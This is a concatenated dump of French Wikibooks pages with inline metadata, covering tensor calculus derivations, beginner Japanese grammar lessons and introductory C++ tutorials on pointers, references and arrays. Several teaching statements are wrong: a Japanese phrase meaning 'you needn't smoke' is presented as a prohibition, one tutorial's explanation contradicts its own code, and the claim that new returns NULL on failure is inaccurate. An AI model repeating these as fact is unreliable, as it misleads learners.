inverse, c.q.f.d. Calcul tensoriel/Espace courbe 7618 36474 2006-03-07T21:02:31Z Fapae 1199 [[Calcul_tensoriel/Espace courbe/Plongement dans un espace euclidien|Plongement dans un espace euclidien (Nash)]] {{:Calcul_tensoriel/Espace courbe/Plongement dans un espace euclidien}} Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression I 7619 36487 2006-03-07T21:36:33Z Fapae 1199 <math>R_i{}^j{}_{kl} = - \Gamma^j_{ik,l} + \Gamma^j_{il,k} + \Gamma^m_{il} \Gamma^j_{mk} - \Gamma^m_{ik} \Gamma^j_{ml}</math> [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression I/Démonstration|Démonstration]] Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression I/Démonstration 7620 37724 2006-03-15T16:59:41Z Fapae 1199 Partant de <math>a_{i;k} = a_{i,k} - \Gamma^j_{ik} a_j</math>, on dérive une seconde fois : <math> \begin{matrix} a_{i;k;l} & = & a_{i,k,l} - \Gamma^j_{ik,l} a_j - \Gamma^j_{ik} a_{j,l} - \Gamma^m_{il} a_{m;k} - \Gamma^m_{kl} a_{i;m}\\ & = & a_{i,k,l} - \Gamma^j_{ik,l} a_j - \Gamma^j_{ik} a_{j,l} - \Gamma^m_{il} a_{m,k} + \Gamma^m_{il} \Gamma^n_{mk} a_n - \Gamma^m_{kl} a_{i,m} + \Gamma^m_{kl} \Gamma^n_{im} a_n \end{matrix} </math> Les termes 1, 6 et 7 sont symétriques en ''kl'' et disparaissent donc dans le calcul de <math>a_{i;k;l} - a_{i;l;k}</math>. Les termes 3 et 4 s'échangent et disparaissent également dans la différence. Restent les termes 2 et 5 : <math>R_i{}^j{}_{kl} = - \Gamma^j_{ik,l} + \Gamma^j_{il,k} + \Gamma^m_{il} \Gamma^j_{mk} - \Gamma^m_{ik} \Gamma^j_{ml}</math> Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression II 7621 36493 2006-03-07T21:56:06Z Fapae 1199 <math> R_{ijkl} = g^{pq} \left(\Gamma_{p|ik}\Gamma_{q|jl} - \Gamma_{p|il}\Gamma_{q|jk}\right) + \frac{1}{2} \left(g_{ik,j,l} + g_{jl,i,k} - g_{il,j,k} - g_{jk,i,l}\right) </math> avec <math>\Gamma_{p|ik} = g_{pq} \Gamma^q_{ik} = \frac{1}{2} \left(g_{ip,k} + g_{kp,i} - g_{ik,p}\right)</math> Calcul tensoriel/Espace-temps plan 7622 36495 2006-03-07T22:01:40Z Fapae 1199 === [[Calcul_tensoriel/Espace-temps plan/Événement|Événements]] === {{:Calcul_tensoriel/Espace-temps plan/Événement}} === [[Calcul_tensoriel/Espace-temps plan/Métrique de la relativité restreinte|Métrique de la relativité restreinte]] === {{:Calcul_tensoriel/Espace-temps plan/Métrique de la relativité restreinte}} === [[Calcul_tensoriel/Espace-temps plan/Transformation de Lorentz|Transformation de Lorentz]] === {{:Calcul_tensoriel/Espace-temps plan/Transformation de Lorentz}} === [[Calcul_tensoriel/Espace-temps plan/Temps propre|Temps propre]] === {{:Calcul_tensoriel/Espace-temps plan/Temps propre}} === [[Calcul_tensoriel/Espace-temps plan/Référentiel tournant|Référentiel tournant]] === {{:Calcul_tensoriel/Espace-temps plan/Référentiel tournant}} Calcul tensoriel/Électromagnétisme 7623 43114 2006-05-25T08:19:10Z Fapae 1199 === [[Calcul_tensoriel/Électromagnétisme/Équations de Maxwell (écriture classique)|Équations de Maxwell (écriture classique)]] === {{:Calcul_tensoriel/Électromagnétisme/Équations de Maxwell (écriture classique)}} === [[Calcul_tensoriel/Électromagnétisme/Équations de Maxwell (écriture duale)|Équations de Maxwell (écriture duale)]] === {{:Calcul_tensoriel/Électromagnétisme/Équations de Maxwell (écriture duale)}} === [[Calcul_tensoriel/Électromagnétisme/Champ électrique et champ magnétique|Champ électrique et champ magnétique]] === {{:Calcul_tensoriel/Électromagnétisme/Champ électrique et champ magnétique}} === [[Calcul_tensoriel/Électromagnétisme/Expression du tenseur de champ électromagnétique|Expression du tenseur de champ électromagnétique]] === {{:Calcul_tensoriel/Électromagnétisme/Expression du tenseur de champ électromagnétique}} === [[Calcul_tensoriel/Électromagnétisme/Premier groupe d'équations de Maxwell|Premier groupe d'équations de Maxwell]] === {{:Calcul_tensoriel/Électromagnétisme/Premier groupe d'équations de Maxwell}} === [[Calcul_tensoriel/Électromagnétisme/Second groupe d'équations de Maxwell|Second groupe d'équations de Maxwell]] === {{:Calcul_tensoriel/Électromagnétisme/Second groupe d'équations de Maxwell}} === [[Calcul_tensoriel/Électromagnétisme/Tenseur d'énergie-impulsion|Tenseur d'énergie-impulsion]] === {{:Calcul_tensoriel/Électromagnétisme/Tenseur d'énergie-impulsion}} Calcul tensoriel/Appendices 7624 43410 2006-05-29T11:35:49Z Fapae 1199 /* Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N]] */ === [[Calcul tensoriel/Appendices/Équations de Lagrange|Équations de Lagrange]] === {{:Calcul tensoriel/Appendices/Équations de Lagrange}} === [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N]] === {{:Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N}} Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel 7630 43377 2006-05-29T06:10:42Z Fapae 1199 [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du Symbole de Christoffel]] déplacé vers [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel]]: Faute de frappe (Symbole et sym La forme classique de l'équation géodésique en paramétrage canonique est la suivante : : <math>\ddot{x}^k = -\Gamma^k_{ij} \dot{x}^i \dot{x}^j</math> où <math>\Gamma^k_{ij}</math> est le [[Calcul tensoriel/Notions élémentaires/Symbole_de_Christoffel|symbole de Christoffel]]. [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonstration|Démonstration]]. Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique/Démonstration 7631 43355 2006-05-28T20:46:04Z Fapae 1199 changement d'indices Explicitant <math>\dot{s}</math> dans l'[[Calcul tensoriel/Géodésiques/Équation géodésique|équation géodésique]] <math>\frac{\partial \dot{s}}{\partial x^l} - \frac{d}{d\tau} \left(\frac{\partial \dot{s}}{\partial \dot{x}^l}\right) = 0</math>, on a : <math>\frac{1}{2 \dot{s}} g_{ij,l} \dot{x}^i \dot{x}^j -\frac{d}{d\tau} \left( \frac{1}{\dot{s}} g_{li}\dot{x}^i \right) = 0 </math> Paramétrisons la trajectoire par sa longueur ''s'', c'est à dire posons <math>\tau = s</math>. Avec ce choix, on a <math>\dot{s} = 1</math> et l'équation géodésique devient : <math>\frac{1}{2} g_{ij,l} \dot{x}^i \dot{x}^j -\frac{d}{ds} \left( g_{li}\dot{x}^i \right) = 0 </math> Comme le tenseur métrique dépend de <math>x^i</math> mais pas explicitement de <math>\dot{x}^i</math>, on a <math>\frac{d g_{li}}{d s} = g_{li,j} \frac{d x^j}{ds}</math> et l'équation géodésique prend la forme : <math>\frac{1}{2} g_{ij,l} \dot{x}^i \dot{x}^j - g_{li,j}\dot{x}^i \dot{x}^j - g_{li}\ddot{x}^i = 0 </math> Multipliant par <math>g^{kl}</math>, on obtient : <math>g^{kl} \left(\frac{1}{2} g_{ij,l} \dot{x}^i \dot{x}^j - g_{li,j}\dot{x}^i \dot{x}^j\right) - \ddot{x}^k = 0</math> et donc : <math> \ddot{x}^k = g^{kl} \left(\frac{1}{2} g_{ij,l} - g_{li,j}\right) \dot{x}^i \dot{x}^j </math> Japonais:Points de Grammaire 7636 40851 2006-04-24T15:18:30Z 82.66.8.62 /* Les formes en ~し et ~たり */ __TOC__ == La forme en ~て (1ère partie) == La forme en ~て a de nombreux usages en japonais, nous allons aujourd'hui en voir un premier. Si la plupart du temps, cette forme est dite "progressive", elle peut aussi avoir le rôle d'une forme "suspensive". Prenons un premier exemple : {|{{prettytable}} | 宿題を終わって、歯を洗って、ベッドに行く。 | rowspan = 3 | ''Je finis mes devoirs, je me lave les dents et je file au lit'' |- | しゅくだいをおわって、はをあらって、ベッドにいく。 |- | shukudai o owatte, ha o aratte, beddo ni iku. |} Dans ce cas, la forme en ~て permet d'exprimer une série d'actions effectuées à la suite l'une de l'autre. * ''je fais ceci... puis celà ... etc.'' Satisfaire au simple respect de l'ordre chronologique n'est pas suffisant. Cette forme ne peut être utilisée que pour décrire des actions qui font parties d'une même séquence. Le sujet thématique de la phrase sera donc souvent conservé. La politesse ou le temps, ne s'exprime qu'en fin de phrase, suivant la conjugaison du dernier verbe {|{{prettytable}} | 昨日、掃除して洗濯しました。 | rowspan = 3 | ''Hier j'ai fait le ménage puis j'ai lancé une lessive'' |- | きのう、そうじしてせんたくしました。 |- | kinou, souji shite sentaku shimashita. |} La forme en ~て est aussi très pratique pour exprimer deux actions en une. {|{{prettytable}} | 土曜日パーティの後で速く帰って寝ました。 | rowspan = 3 | ''Hier, après la fête, je suis vite rentré dormir.'' |- | どようびパーティのあとではやくかえってねました。 |- | doyoubi pa-ti no ato de hayaku kaette nemashita. |} Littéralement : je suis rentré et j'ai dormi Cette forme particulière, très utilisée dans la langue japonaise, sera sûrement reprise dans une leçon ultérieure sur la forme en ~て mais demain, nous étudierons comment dire : "je veux" == La conjugaison en ~たい == La forme verbale étudiée aujourd'hui est une des plus utile. En effet, ne connaître que les temps accomplis et non-accompli n'est pas suffisant pour dire ce que l'on veut. Cette terminaison permet donc de s'exprimer au volitif. Prenons un premier exemple : {|{{prettytable}} | 白ご飯を食べたい。 | rowspan = 3 | ''Je veux manger du riz blanc'' |- | しろごはんをたべたい。 |- | shiro-gohan o tabetai. |} La terminaison en ~たい permet donc d'exprimer un souhait, une envie. Elle sera souvent traduite en Français par : ''vouloir faire qqchose''. Bien que la traduction ''avoir envie de faire qqchose'' soit souvent plus adaptée. En effet ~たい n'exprime pas tant une intention ou une résolution, qu'un désir. Elle se forme en rajoutant ~たい à la forme continuative ({{furigana|連用形|れんようけい}}). Pour les verbes du 5ème groupe ({{furigana|五段|ごだん}}) celà correspond au radical en "i". Dans tous les cas on l'obtient en enlevant le ~ます de la forme polie non-accomplie : {|{{prettytable}} | 一段 | たべる ⇒ 食べます ⇒ '''食べ'''~ ⇒ 食べたい |- | 五段 | かう ⇒ 買います ⇒ '''買い'''~ ⇒ 買いたい |} Pour parler un peu plus poliment, il sera bienvenue d'atténuer la phrase en rajoutant la copule です. Sans oublier de la faire précéder de の, pour lier le tout. {|{{prettytable}} | 未来に看護婦になりたいのです。 | rowspan = 3 | ''Plus tard je voudrais être infirmière'' |- | みらいにかんごふになりたいのです。 |- | mirai ni kangofu ni naritai no desu. |} Même si parfois, à l'oral, on se permet de contracter un peu le tout. {|{{prettytable}} | 明日映画館に行きたいんです。 | rowspan = 3 | ''Demain j'aimerais bien aller au ciné'' |- | あしたえいがかんにいきたいんです。 |- | ashita eigakan ni ikitai 'n desu. |} Pour compléter cette leçon nous verrons aussi comment utiliser l'adjectif {{furigana|欲しい|ほしい}} pour désigner l'objet de votre désir. Mais demain nous révisons les quelques formes qui vous permettront d'être toujours plus exigeant... toujours poliment bien sûr. == Les tournures de phrases en ~てもいいです == * Je peux ? Je ne sais pas par quel mystère les Japonais en sont arrivés à une construction aussi tarabiscotée, mais pour exprimer une requête il va falloir jongler avec les mots. Prenons un premier exemple : {|{{prettytable}} | 窓を開けてもいいですか。 | rowspan = 3 | ''Puis-je ouvrir la fenêtre ?'' |- | まどをあけてもいいですか。 |- | mado o akete mo ii desu ka. |} On mémorisera plus facilement cette tournure si on la traduit par : ''Celà vous dérange-t-il si j'ouvre la fenêtre ?'' Car, littéralement, en japonais on demande : ''J'ouvre la fenêtre et... c'est bien ?'' La forme en ~て étant ici une façon un peu maladroite d'exprimer le ''si'' dans une langue relativement pauvre en connecteurs logiques. En revanche utiliser une forme pussive (avec dekiru par exemple) serait une faute de grammaire puisque cette forme exprime la capacité physique à faire quelque chose. {|{{prettytable}} | 窓を開けれますか。 | rowspan = 3 | ''Pensez vous que j'arriverai à ouvrir la fenêtre'' (votre interlocuteur pensera que vous êtes manchot, ou que la fenêtre est coincée, dans tout les cas il se demandera pourquoi vous lui posez la question) |- | まどをあけれますか。 |- | mado o akeremasu ka. |} * Tu ne peux pas... De la même façon, pour énoncer une interdiction, on aura recours à une gadgetophrase : {|{{prettytable}} | 病院の中に吸わなくてもいいです。 | rowspan = 3 | ''Vous ne pouvez pas fumer dans l'hopital'' |- | びょういんのなかにすわなくてもいいです。 |- | byouin no naka ni suwanakute mo ii desu. |} Littéralement : ''et si vous ne fumez pas, c'est cool'' Bon, vous vous doutez bien que les japonais ont quand même un mode impératif, mais ça ne sera pas pour cette fois car demain nous verrons que dire quand on en fait trop... == La conjugaison en ~すぎる == Celle là c'est sûrement une de mes formes préférées. La terminaison ~すぎる, placée après un verbe à la forme continuative permet de dire qu'on à dépassé les bornes. Prenons un premier exemple : {|{{prettytable}} | 食べすぎました! | rowspan = 3 | ''J'ai trop mangé !'' |- | たべすぎました! |- | tabe-sugimashita |} Vous l'aurez remarqué, すぎる est un verbe. En kanji on l'écrirait {{furigana|過ぎる|すぎる}} ''passer, dépasser, aller au delà de''. Cependant, utilisé dans cette expression particulière, l'usage veut que l'on écrive en hiragana. Cette forme est très pratique, n'hésitez pas à trop l'utiliser. == Les formes en ~し et ~たり == Je regroupe ces deux formes sous une même rubrique car elle prêtent souvent à confusion. La première, en ~し, à un rôle d'accumulation. Prenons un premier exemple : {|{{prettytable}} | この家は広いし明るいし安いです。 | rowspan = 3 | ''Cette maison est vaste, lumineuse et bon marché'' |- | このいえはひろいしあかるいしやすいです。 |- | kono ie ha hiroi-shi, akarui-shi, yasui desu |} Dans ce cas on cherche à décrire un seul aspect du sujet par une accumulation de caractères qui iront tous dans le même sens. Dans l'exemple précédent, on veut montrer que la maison est bien car, elle est vaste, lumineuse et en plus bon marché. Cette forme se construit en rajoutant ~し après la forme neutre non accomplie. * Dans le cas des adjectifs en ~い : 速い ⇒ 速いし * Dans le cas des adjectifs en ~だ : 静かだ ⇒ 静かだし En fait toute proposition grammaticalement complète à la forme neutre, peut être suivie de ~し et incluse dans une telle accumulation. La terminaison en ~たり en revanche est plus énumérative et n'a pas ce caractère insistant. En français on la traduirait le plus probablement par une énumération entre virgules. La signification est semblable à celle véhiculée par la particule や. Une tournure plus lourde mais qui peut aider à en retenir le sens serait : faire diverses choses telles que ... , ... ou bien ... Grammaticalement parlant cette terminaison est appelée la forme suspensive du verbe et se construit en rajoutant ~り à la forme neutre accomplie (forme en ~た). {|{{prettytable}} | 海に行こう、水に泳いだり、魚を釣ったり、日焼けをしたり... | rowspan = 3 | ''allons à la plage, (on y fera des choses telles que) nager dans l'eau, pêcher des poissons ou se dorer au soleil...'' |- | うみにいこう、みずにおよいだり、さかなをつったり、ひやけをしたり。 |- | umi ni ikou, mizu ni oyoidari, sakana o tsuttari, hiyake o shitari |} Alors quoi ? la forme en ~し est utilisée pour lier des adjectifs et la forme en ~たり est utilisée pour lier des verbes ? Mais non, tu n'as rien compris. On peut très bien utiliser la forme en ~し avec n'importe qu'elle proposition complète. C'est le sens que l'on veut donner à la phrase qui nous fera choisir l'une ou l'autre des constructions. La preuve : {|{{prettytable}} | 文法が難しいし、漢字がいっぱいだし、辞典を持ってないし,むりです。 | rowspan = 3 | ''la grammaire est difficile, puis il y a plein de kanji... et j'ai même pas de dictionnaire... j'y arriverai jamais'' |- | ぶんぽうがむずかしいし、かんじがいっぱいだし、じてんをもってないし、むりです。 |- | bunpou ga muzukashii shi, kanji ga ippai shi, jiten o mottenai shi, muri desu. |} Calcul tensoriel/Espace-temps plan/Référentiel tournant I 7640 43366 2006-05-29T05:58:05Z Fapae 1199 Utilisation du : ==== Changement de coordonnées ==== Partant d'un référentiel galiléen plan <math>t', x', y'</math>, construisons un référentiel tournant avec la fréquence angulaire <math>\omega</math>. La transformation s'écrit : <math>\begin{matrix} t' &=& t \\ x' &=& x \cos \omega t - y \sin \omega t \\ y' &=& x \sin \omega t + y \cos \omega t \end{matrix}</math> ==== Jacobien ==== : <math>\begin{matrix} \theta^{t'}_{t} &=& \frac{\partial t'}{\partial t} &=& 1 \\ \theta^{x'}_{t} &=& \frac{\partial x'}{\partial t} &=& - \omega x \sin \omega t - \omega y \cos \omega t \\ \theta^{x'}_{x} &=& \frac{\partial x'}{\partial x} &=& \cos \omega t \\ \theta^{x'}_{y} &=& \frac{\partial x'}{\partial y} &=& - \sin \omega t \\ \theta^{y'}_{t} &=& \frac{\partial y'}{\partial t} &=& \omega x \cos \omega t - \omega y \sin \omega t \\ \theta^{y'}_{x} &=& \frac{\partial y'}{\partial x} &=& \sin \omega t \\ \theta^{y'}_{y} &=& \frac{\partial x'}{\partial y} &=& \cos \omega t \\ \end{matrix}</math> ==== Tenseur métrique ==== De la relation <math>-c^2 dt'^2 + dx'^2 + dy'^2 = g_{ij} dx^i dx^j</math> est facile d'obtenir le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] dans le référentiel tournant. Il n'est pas diagonal : : <math>\begin{matrix} g_{tt} &=& -c^2 + \omega^2 \left(x^2 + y^2\right) \\ g_{tx} = g_{xt} &=& -\omega y \\ g_{ty} = g_{yt} &=& \omega x \\ g_{xx} &=& 1 \\ g_{yy} &=& 1 \end{matrix}</math> La formule <math>g_{ij} = g'_{kl} \theta^k_i \theta^l_j</math> avec <math>g_{tt} = -c^2, g_{xx} = 1, g_{yy} = 1</math>, conduit au même résultat. ==== Déterminant du tenseur métrique ==== : <math>\det g = -c^2</math> ==== Matrice inverse du tenseur métrique ==== : <math>\begin{matrix} g^{tt} &=& -c^{-2}\\ g^{tx} = g^{xt} &=& - c^{-2} \omega y \\ g^{ty} = g^{yt} &=& c^{-2} \omega x \\ g^{xy} = g^{yx} &=& c^{-2} \omega^2 x y \\ g^{xx} &=& 1 - c^{-2} \omega^2 y^2 \\ g^{yy} &=& 1 - c^{-2} \omega^2 x^2 \end{matrix}</math> ==== Dérivées partielles du tenseur métrique ==== : <math>\begin{matrix} g_{tt,x} &=& 2 \omega^2 x \\ g_{tt,y} &=& 2 \omega^2 y \\ g_{tx,y} = g_{xt,y} &=& -\omega \\ g_{ty,x} = g_{yt,x} &=& \omega \end{matrix}</math> ==== [[Calcul tensoriel/Notions élémentaires#Symbole de Christoffel|Symbole de Christoffel]] ==== : <math>\begin{matrix} \Gamma_{t|tx} = \Gamma_{t|xt} &=& \omega^2 x \\ \Gamma_{x|tt} = &=& - \omega^2 x \\ \Gamma_{t|ty} = \Gamma_{t|yt} &=& \omega^2 y \\ \Gamma_{y|tt} &=& - \omega^2 y \\ \Gamma_{x|ty} = \Gamma_{x|yt} &=& - \omega \\ \Gamma_{y|tx} = \Gamma_{y|xt} &=& \omega \\ \end{matrix}</math> : <math>\begin{matrix} \Gamma^x_{tt} &=& - \omega^2 x \\ \Gamma^y_{tt} &=& - \omega^2 y \\ \Gamma^x_{ty} = \Gamma^x_{yt} &=& -\omega \\ \Gamma^y_{tx} = \Gamma^y_{xt} &=& \omega \end{matrix}</math> ==== [[Calcul tensoriel/Géodésiques#Équation géodésique|Équation géodésique]] ==== : <math>\begin{matrix} \ddot{x} &=& \omega^2 x \dot{t}^2 + 2 \omega \dot{y} \dot t\\ \ddot{y} &=& \omega^2 y \dot{t}^2 - 2 \omega \dot{x} \dot t \end{matrix}</math> Pour les vitesses petites devant la vitesse de la lumière, la dérivée par rapport à ''s'' est quasi égale à ''i'' fois la dérivée par rapport au temps, et l'on a : <math>\begin{matrix} \ddot{x} &=& -\omega^2 x - 2 \omega \dot{y}\\ \ddot{y} &=& -\omega^2 y + 2 \omega \dot{x} \end{matrix}</math> On retrouve les termes d''''accélération centrifuge''' et d''''accélération de Coriolis'''. ==== [[Calcul tensoriel/Notions élémentaires#Tenseur de courbure|Tenseur de courbure]] ==== Nul. Le calcul peut se faire à partir de la [[Calcul tensoriel/Notions élémentaires#Expression I|formule]] ou plus simplement en remarquant que le tenseur de courbure de l'espace pseudo-euclidien de métrique constante <math>\mathrm{Diag}\left(-c^2, 1, 1\right)</math> est nul, et reste nul dans toute autre système de coordonnées. ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de Ricci|Tenseur de Ricci]] ==== : <math> 0 </math> ==== [[Calcul tensoriel/Notions élémentaires/Scalaire de Ricci|Scalaire de Ricci]] ==== : <math> 0 </math> Calcul tensoriel/Espace-temps plan/Référentiel tournant 7642 36736 2006-03-09T14:02:36Z Fapae 1199 [[Calcul tensoriel/Espace-temps plan/Référentiel tournant I|Référentiel tournant en coordonnées cartésiennes]] [[Calcul tensoriel/Espace-temps plan/Référentiel tournant II|Référentiel tournant en coordonnées circulaires]] ISO-dev PHP 7643 36743 2006-03-09T14:57:18Z Spirit 203 1093 [[ISO-dev PHP]] déplacé vers [[PHPDD]]: La nom faisait allusion à la norme ISO alors que l'article n'avait aucun rapport #REDIRECT [[PHPDD]] PhpDD 7647 36752 2006-03-09T15:00:49Z Spirit 203 1093 [[PhpDD]] déplacé vers [[PHPDD]]: Le nom était mieux avant (futile) #REDIRECT [[PHPDD]] Calcul tensoriel/Espace-temps plan/Référentiel tournant II 7650 37753 2006-03-15T18:01:11Z Fapae 1199 /* [[Calcul tensoriel/Notions élémentaires#Symbole de Christoffel|Symbole de Christoffel]] */ ==== Changement de coordonnées ==== Partant d'un référentiel galiléen plan en coordonnées circulaires<math>t', r', \phi'</math>, construisons un référentiel tournant avec la fréquence angulaire <math>\omega</math>. La transformation s'écrit <math>\begin{matrix} t' &=& t \\ r' &=& r \\ \phi' &=& \phi + \omega t \end{matrix}</math> ==== Tenseur métrique ==== De la relation <math>-c^2 dt'^2 + dr'^2 + r'^2 d\phi'^2 = g_{ij} dx^i dx^j</math> est facile d'obtenir le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] dans le référentiel tournant. Il n'est pas diagonal : <math>\begin{matrix} g_{tt} &=& -c^2 + \omega^2 r^2 \\ g_{t \phi} = g_{\phi t} &=& \omega r^2 \\ g_{r r} &=& 1 \\ g_{\phi \phi} &=& r^2 \end{matrix}</math> ==== Déterminant du tenseur métrique ==== <math>\det g = -c^2 r^2</math> ==== Matrice inverse du tenseur métrique ==== <math>\begin{matrix} g^{tt} &=& -c^{-2}\\ g^{t \phi} = g^{\phi t} &=& c^{-2} \omega\\ g^{rr} &=& 1 \\ g^{\phi\phi} &=& r^{-2} - c^{-2} \omega^2 \end{matrix}</math> ==== Dérivées partielles du tenseur métrique ==== <math>\begin{matrix} g_{tt,r} &=& 2 \omega^2 r \\ g_{t\phi,r} = g_{\phi t,r} &=& 2 \omega r \\ g_{\phi\phi,r} &=& 2 r \end{matrix}</math> ==== [[Calcul tensoriel/Notions élémentaires#Symbole de Christoffel|Symbole de Christoffel]] ==== <math>\begin{matrix} \Gamma_{t|tr} = \Gamma_{t|rt} &=& \omega^2 r \\ \Gamma_{t|r\phi} = \Gamma_{t|\phi r} &=& \omega r \\ \Gamma_{r|tt} &=& - \omega^2 r \\ \Gamma_{r|t\phi} = \Gamma_{\phi|\phi t} &=& - \omega r \\ \Gamma_{\phi|tr} = \Gamma_{\phi|rt} &=& \omega r\\ \Gamma_{r|\phi\phi} &=& -r \\ \Gamma_{r|r\phi} = \Gamma_{\phi|\phi r} &=& r \end{matrix}</math> <math>\begin{matrix} \Gamma^r_{tt} &=& - \omega^2 r \\ \Gamma^r_{t\phi} = \Gamma^r_{\phi t} &=& - \omega r \\ \Gamma^r_{\phi\phi} &=& -r \\ \Gamma^\phi_{tr} = \Gamma^\phi_{rt} &=& \omega r^{-1} \\ \Gamma^\phi_{r\phi} = \Gamma^\phi_{\phi r} &=&r^{-1} \end{matrix}</math> Programmation C plus plus Les pointeurs 7651 42733 2006-05-18T10:26:48Z 141.83.146.116 /* Exemple de programme */ {{Programmation C++}} ==Les pointeurs== Un pointeur désigne une variable contenant une adresse mémoire. Il est utilisé lorsque l'on veut manipuler les données stockées à cette adresse. C'est donc un moyen indirect de construire et de manipuler des données très souvent complexes. ====Déclaration==== ''type * identificateur;''<br/> La variable ''identificateur'' est un pointeur vers une variable de type ''type''. ====L'opérateur &==== Il permet d'obtenir un pointeur vers une variable.<br/> ''&identificateur'' permet d'obtenir un pointeur vers la variable ''identificateur''. Il renvoit en réalité une adresse mémoire, l'adresse où est stocké physiquement la variable ''identificateur''. C'est donc une variable pointeur. ====L'opérateur * ==== ''* variable''<br\> C'est l'opérateur de déréférencement. Il permet d'obtenir et donc de manipuler les données pointées par la variable ''variable'' ''*pointeur'' permet d'obtenir la valeur de la variable pointée par ''pointeur''. ==== Exemple de programme ==== <pre> #include <iostream> using namespace std; int main() { int a,b,c; int *x,*y; a=98; b=108; x=&a; c=*x+5; y=&b; *y=a+10; cout<<"La variable b vaut : "<<b<<endl; cout<<"La variable c vaut : "<<c<<endl; return 0; } </pre> '''Exécution :'''<br/> La variable b vaut 108<br/> La variable c vaut 103<br/> '''Explications : ''' *dans ce programme, on déclare 3 variables a, b et c. On déclare ensuite 2 pointeurs vers des entiers x et y. * a est initialisé à 98 et b à 78. *''x=&a;'' permet de mettre dans x l'adresse de a. x est désormais un pointeur vers a.<br/> *''*x'' est la valeur de la variable pointée par x, c'est-à-dire la valeur de a, et vaut donc 98. ''c=*x+5;'' permet donc de tranférer 98+5 donc 103 dans la variable c. *''y=&b'' permet de mettre dans y l'adressee la variable b. y est désormais un pointeur vers b.<br/> a+10 vaut 98+10 donc 108.<br/> ''*y=a+10;'' permet de tranférer dans la variable pointée par y la valeur de a+10, c'est-à-dire 108. On transfère donc 108 dans b. * on affiche ensuite les valeurs de b et c c'est à dire respectivement 108 et 103. <br/> ===Opérations arithmétiques sur les pointeurs=== Programmation C plus plus Les références 7652 36853 2006-03-10T10:28:26Z Merrheim 1032 /* Les références */ {{Programmation C++}} == Les références== === Les références=== Les référence peuvent être vue comme un moyen d'accès indirect à une variable.<br/> ====Déclarations==== '''Syntaxe :'''<br/> ''type & identificateur1=identificateur2;'' ===='''Sémantique'''==== La variable ''identificateur1'' est une référence vers la variable ''identificateur2''. La variable ''identificateur2'' doit être de type ''type''. ====Exemple de programme==== <pre> #include <iostream> using namespace std; int main() { int a,b,c; a=98; b=78; int &x=a; c=x+5; int &y=b; y=a+10; cout<<"La variable b vaut : "<<b<<endl; cout<<"La variable c vaut : "<<c<<endl; return 0; } </pre> '''Exécution'''<br/> La variable b vaut : 108<br/> La variable c vaut : 103<br/> '''Explications'''<br/> * Dans ce programme, on définit 3 variables entières a, b et c et on initialise a à 98 et b à 78. * ''int &x=a;'' permet de déclarer une référence x vers la variable a.<br/> x+5 vaut donc la même chose que a+5 donc 103.<br/> ''c=x+5;'' permet donc de transférer 103 dans la variable c. * ''int &y=b;'' permet de déclarer une référence y vers la variable b.<br/> a+10 vaut 98+10 donc 108.<br/> ''y=a+10;'' permet de transférer 108 dans la variable b. * on affiche ensuite b et c c'est-à-dire respectivement 108 et 103. <br/> Programmation C plus plus Les tableaux 7653 43384 2006-05-29T08:44:51Z TrizoLakai 1576 /* Dynamiques */ {{Programmation C++}} == Les tableaux == Les tableaux sont des structures de données constituées d'un certain nombre de case. On peut accéder directement au contenu d'une case en indiquant l'indice de la case. ==== Les tableaux statiques ==== *'''Syntaxe'''<br/> ''type identificateur[taille];''<br/> *'''Sémantique : '''<br/> ''identificateur'' est un tableau de ''taille'' cases contenant chacune un élément de type ''type''. ''taille'' est obligatoirement une valeur constante. La taille du tableau est donc figée une fois pour toute et ne peut pas être modifiée en cours d'exécution. Pour désigner la i-ième case de tableau, on écrit ''identificateur[i]'' où i est un entier quelconque. Les cases sont numérotées à partir de 0 : les valeurs possibles de i vont donc de 0 à ''taille''-1. * '''Pointeurs et tableaux'''<br/> Il existe un lien entre les pointeurs et les tableaux : ''identificateur'' est en fait un pointeur constant vers un élément de type ''type''. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int i; int t[10]; for(i=0;i<10;i++) t[i]=i*i; for(i=0;i<10;i++) cout<<t[i]<<endl; return 0; } </pre> '''Exécution : '''<br/> 0<br/> 1<br/> 4<br/> 9<br/> 16<br/> 25<br/> 36<br/> 49<br/> 64<br/> 81<br/> <br/> ==== Les tableaux dynamiques ==== Un tableau dynamique est un tableau dont le nombre de cases peut varier au cours de l'exécution du programme. Il permet d'ajuster la taille du tableau au besoin du programmeur. *'''L'opérateur new'''<br/> '''Syntaxe : ''' '''pointeur=new type[taille];'''<br/> Cette utilisation du new permet de demander un tableau de ''taille cases'' contenant chacune un élement de type ''type''. La variable ''taille'' est un entier qui peut être quelconque. ''new'' reverra un pointeur vers un ''type''. La variable ''pointeur'' est donc du type ''type *''. Les cases du tableaux seront numérotées de 0 à ''taille''-1 et on y accédera comme un tableau statique. S'il n'y a pas assez de mémoire disponible, new renvoie le pointeur NULL. *'''L'opérateur delete'''</br> '''Syntaxe : ''' delete []pointeur;'''<br/> Cette utilisation de delete permet de détruire un tableau précédemment alloué grâce à new. Le programmeur en C++ doit gérer la destruction effective des tableaux qu'il a créé dynamiquement. *'''Exemple''' <pre> #include <iostream> using namespace std; int main() { int i,taille; cout<<"Tapez la valeur de taille : ";cin>>taille; int *t; t=new int[taille]; for(i=0;i<taille;i++) t[i]=i*i; for(i=0;i<taille;i++) cout<<t[i]<<endl; delete []t; return 0; } </pre> '''Exécution 1 : '''<br/> Tapez la valeur de taille : '''4'''<br/> 0 <br/> 1 <br/> 4 <br/> 9 <br/> '''Exécution 2 : '''<br/> Tapez la valeur de taille : '''6'''<br/> 0 <br/> 1 <br/> 4 <br/> 9 <br/> 16<br/> 25 